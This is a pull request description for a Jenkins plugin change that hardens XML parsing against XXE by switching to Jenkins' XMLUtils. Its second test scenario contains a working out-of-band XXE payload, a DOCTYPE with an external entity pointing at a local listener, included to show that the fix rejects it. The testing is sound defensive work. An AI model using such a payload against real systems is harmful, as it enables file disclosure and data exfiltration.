[JENKINS-71695] Use jenkins.util.xml.XMLUtils instead of custom Docum…

[Dohbedoh]

…entBuilder

JENKINS-71695: Replace the custom DocumentBuilder by https://github.com/jenkinsci/jenkins/blob/jenkins-2.415/core/src/main/java/jenkins/util/xml/XMLUtils.java. This fixes a TODO added in 5f845bc to prevent XXE.

Testing done

Scenario 1:

• create a Maven settings file with Credentials. For example:

<?xml version="1.0" encoding="ISO-8859-1"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
  <mirrors>
    <mirror>
      <id>test</id>
      <mirrorOf>*</mirrorOf>
      <url>http://localhost:8081/repository/mirror/</url>
    </mirror>
  </mirrors>
  <servers>
    <server>
      <id>test</id>
      <username>testuser</username>
    </server>
  </servers>
</settings>

• create a Pipeline job with configFile() to inject the config file
• validate that it works and credentials is injected in the file

Scenario 2:

• create a Maven settings file with Credentials and a disallowed DOCTYPE (test XXE). For example:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE r [
        <!ELEMENT r ANY >
        <!ENTITY % sp SYSTEM "http://host.docker.internal:9000/oob.xml">
        %sp;
        %param1;
        ]>
<r>&oob;</r>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
  <mirrors>
    <mirror>
      <id>test</id>
      <mirrorOf>*</mirrorOf>
      <url>http://localhost:8081/repository/mirror/</url>
    </mirror>
  </mirrors>
  <servers>
    <server>
      <id>test</id>
      <username>testuser</username>
    </server>
  </servers>
</settings>

• create a Pipeline job with configFile() to inject the config file
• validate that it fails accordingly

Submitter checklist

Beta Give feedback

1. Make sure you are opening from a topic/feature/bugfix branch (right side) and not your main branch!
2. Ensure that the pull request title represents the desired changelog entry
3. Please describe what you did
4. Link to relevant issues in GitHub or Jira
5. Link to relevant pull requests, esp. upstream and downstream changes
6. Ensure you have provided tests - that demonstrates feature works or fixes the issue